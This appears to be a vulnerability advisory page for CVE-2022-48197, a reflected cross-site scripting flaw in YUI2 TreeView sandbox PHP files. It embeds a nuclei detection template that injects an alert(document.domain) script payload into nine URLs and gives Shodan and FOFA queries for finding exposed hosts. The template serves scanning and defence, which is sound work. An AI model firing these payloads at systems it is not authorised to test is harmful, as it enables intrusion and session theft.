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CVE-2022-48197· yui project / yui· CWE-79

Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
7.1%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.

Impact

Attackers can inject malicious JavaScript through crafted mode parameters in multiple TreeView PHP files, potentially stealing user session tokens and performing actions on behalf of victims when they access the compromised pages.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: contains "1'\"()&%<zzz><script>alert(document.domain)</script>" and "widget.TreeView" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-48197 -u <target>

The full check
id: CVE-2022-48197

info:
  name: Yahoo User Interface library (YUI2) TreeView v2.8.2 - Cross-Site Scripting
  author: ctflearner
  severity: medium
  description: |
    Reflected cross-site scripting (XSS) exists in the TreeView of YUI2 through 2800: up.php sam.php renderhidden.php removechildren.php removeall.php readd.php overflow.php newnode2.php newnode.php.
  impact: |
    Attackers can inject malicious JavaScript through crafted mode parameters in multiple TreeView PHP files, potentially stealing user session tokens and performing actions on behalf of victims when they access the compromised pages.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/51198
    - https://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48197
    - http://packetstormsecurity.com/files/171633/Yahoo-User-Interface-TreeView-2.8.2-Cross-Site-Scripting.html
    - https://github.com/ryan412/CVE-2022-48197/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-48197
    cwe-id: CWE-79
    epss-score: 0.07055
    epss-percentile: 0.94252
    cpe: cpe:2.3:a:yui_project:yui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 9
    vendor: yui_project
    product: yui
    shodan-query:
      - html:"bower_components/yui2/"
      - http.html:"bower_components/yui2/"
    fofa-query: body="bower_components/yui2/"
  tags: cve,cve2022,packetstorm,yui2,xss,yahoo,treeview,yui_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - "/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
        - "/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "1'\"()&%<zzz><script>alert(document.domain)</script>"
          - "widget.TreeView"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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